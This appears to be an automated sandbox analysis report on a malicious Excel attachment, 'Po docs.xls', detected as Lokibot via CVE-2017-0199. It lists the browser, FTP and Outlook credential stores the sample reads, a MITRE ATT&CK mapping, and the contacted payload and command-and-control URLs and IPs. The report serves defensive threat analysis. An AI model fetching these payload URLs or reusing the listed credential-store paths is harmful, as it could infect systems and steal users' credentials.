Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	File opened: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	File opened: HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	File opened: HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	File opened: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\06cf47254c38794586c61cc24a734503
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\06cf47254c38794586c61cc24a734503
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\205c3a58330443458dd2ac448e6ca789
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\205c3a58330443458dd2ac448e6ca789
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\2b8b37090290ba4f959e518e299cb5b1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\2b8b37090290ba4f959e518e299cb5b1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3743a3c1c7e1f64e8f29008dfcb85743
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3743a3c1c7e1f64e8f29008dfcb85743
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\53408158a6e73f408d707c6c9897ca11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\53408158a6e73f408d707c6c9897ca11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\5d87f524a0d3e441a43ef4f9aa2c1e35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\5d87f524a0d3e441a43ef4f9aa2c1e35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\78c2c8d3c60b8e4dbd322a28757b4add
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\78c2c8d3c60b8e4dbd322a28757b4add
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\b17a5dedc883424088e68fc9f8f9ce35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\b17a5dedc883424088e68fc9f8f9ce35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f6b27b1a9688564abf9b7e1bd5ef7ca7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f6b27b1a9688564abf9b7e1bd5ef7ca7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001

Remote Access Functionality

Yara detected Lokibot

Source: Yara match

File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	121 Scripting	Valid Accounts	23 Exploitation for Client Execution	121 Scripting	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Browser Session Hijacking	5 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	121 Command and Scripting Interpreter	1 DLL Side-Loading	211 Process Injection	11 Obfuscated Files or Information	1 Credentials in Registry	14 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	4 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Install Root Certificate	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	11 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	21 Virtualization/Sandbox Evasion	Distributed Component Object Model	1 Clipboard Data	15 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	211 Process Injection	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Po docs.xls	11%	ReversingLabs	Document-Excel.Exploit.CVE-2017-0199
Po docs.xls	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://ocsp.entrust.net03	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://go.micros	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://crl.entrust.net/server1.crl0	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://secure.comodo.com/CPS0	0%	URL Reputation	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
acesso.run	104.21.74.191	true	false	unknown
drive.google.com	142.250.186.46	true	false	unknown
drive.usercontent.google.com	142.250.185.97	true	false	unknown

Contacted URLs

Name	Malicious	Reputation
https://acesso.run/oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillbox	false	unknown
http://198.46.178.151/65/SMPLLLK.txt	true	unknown
http://198.46.178.151/65/seethebesthtingswithmewhichgivegreatoutputofmegood.tIF	true	unknown
http://198.46.178.151/65/hb/creatednewthingsforme.hta	true	unknown
http://94.156.177.220/simple/five/fre.php	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://198.46.178.151/65/hb/creatednewthingsforme.hta4C:	mshta.exe, 0000000F.00000003.480889514.000000000424D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.000000000424A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.000000000424F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://198.46.178.151/65/hb/creatednewthingsforme.hta.EXE	mshta.exe, 0000000F.00000002.481059282.000000000042A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.entrust.net03	mshta.exe, 00000004.00000003.422295255.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.00000000033F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.00000000033F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.000000000424D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.000000000424A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.000000000424F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000005.00000002.466772113.00000000122F1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	mshta.exe, 00000004.00000003.422295255.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.00000000033F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.00000000033F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.000000000424D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.000000000424A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.000000000424F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://acesso.run/oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillboxG~	mshta.exe, 00000004.00000002.427447815.00000000003DF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426857155.00000000003DF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424111399.00000000003DF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://198.46.178.151/65/hb/creatednewthingsforme.htaPwA	mshta.exe, 00000004.00000003.422295255.000000000342E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.000000000342E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.000000000342E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.000000000342E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.000000000342E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.diginotar.nl/cps/pkioverheid0	mshta.exe, 00000004.00000003.422295255.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.00000000033F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.00000000033F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.000000000424D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.000000000424A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.000000000424F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://acesso.run/=	mshta.exe, 0000000F.00000003.479625330.000000000047C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.475162292.000000000047C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481156677.0000000000481000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://198.46.178.151/L	mshta.exe, 00000004.00000003.422295255.0000000003442000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.0000000003442000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.0000000003442000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.0000000003442000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.0000000003442000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://go.micros	powershell.exe, 00000005.00000002.459817046.0000000003022000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://198.46.178.151/65/hb/creatednewthingsforme.hta...	mshta.exe, 0000000F.00000002.481059282.000000000042A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://acesso.run/oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillboxQw	mshta.exe, 0000000F.00000002.481156677.0000000000450000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://198.46.178.151/65/hb/creatednewthingsforme.hta...W	mshta.exe, 00000004.00000002.427447815.00000000003BA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://198.46.178.151/65/hb/creatednewthingsforme.htaC:	mshta.exe, 00000004.00000003.424111399.0000000000441000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426857155.0000000000441000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427447815.0000000000441000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.479625330.000000000047C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.475162292.000000000047C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481156677.0000000000481000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://acesso.run/oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillboxv	mshta.exe, 0000000F.00000002.481156677.0000000000467000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.475162292.0000000000462000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/	powershell.exe, 00000005.00000002.466772113.00000000122F1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000005.00000002.459817046.00000000024CB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.466772113.00000000122F1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.usercontent.google.com	powershell.exe, 0000000E.00000002.509235789.00000000026B5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.547069355.0000000002786000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://acesso.run/oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillboxD~	mshta.exe, 00000004.00000002.427447815.00000000003BA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://acesso.run/	mshta.exe, 00000004.00000003.422295255.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.00000000033F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424111399.0000000000401000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.00000000033F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427447815.0000000000401000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426857155.0000000000401000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.479625330.000000000047C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.475162292.000000000047C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481156677.0000000000481000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.entrust.net0D	mshta.exe, 00000004.00000003.422295255.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.00000000033F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.00000000033F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.0000000004266000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000005.00000002.459817046.00000000022C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.509235789.00000000022F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.499011625.0000000002091000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.547069355.00000000023C1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://go.cr	powershell.exe, 0000000E.00000002.508820079.000000000023F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://198.46.178.151/65/seetheb	powershell.exe, 00000005.00000002.459817046.0000000003A22000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.499011625.000000000265D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000005.00000002.459817046.00000000024CB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.466772113.00000000122F1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.entrust.net/server1.crl0	mshta.exe, 00000004.00000003.422295255.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.00000000033F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.00000000033F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.000000000424D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.000000000424A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.000000000424F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://198.46.178.151/65/hb/creatednewthingsforme.htalse	mshta.exe, 00000004.00000003.422295255.000000000342E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://acesso.run/oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillboxZ~	mshta.exe, 00000004.00000002.427447815.00000000003BA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 00000005.00000002.466772113.00000000122F1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://198.46.178.151/65/seethebesthtingswithmewhichgivegreatoutputofmegood.tIFp	powershell.exe, 00000005.00000002.459817046.0000000003A22000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.499011625.000000000265D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://acesso.run/oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillbox...j	mshta.exe, 00000004.00000003.422295255.00000000033F2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://198.46.178.151/65/seethebesthtingswithmewhichgivegreatoutputofmegood.tIFpP	powershell.exe, 00000005.00000002.467204140.000000001A71A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
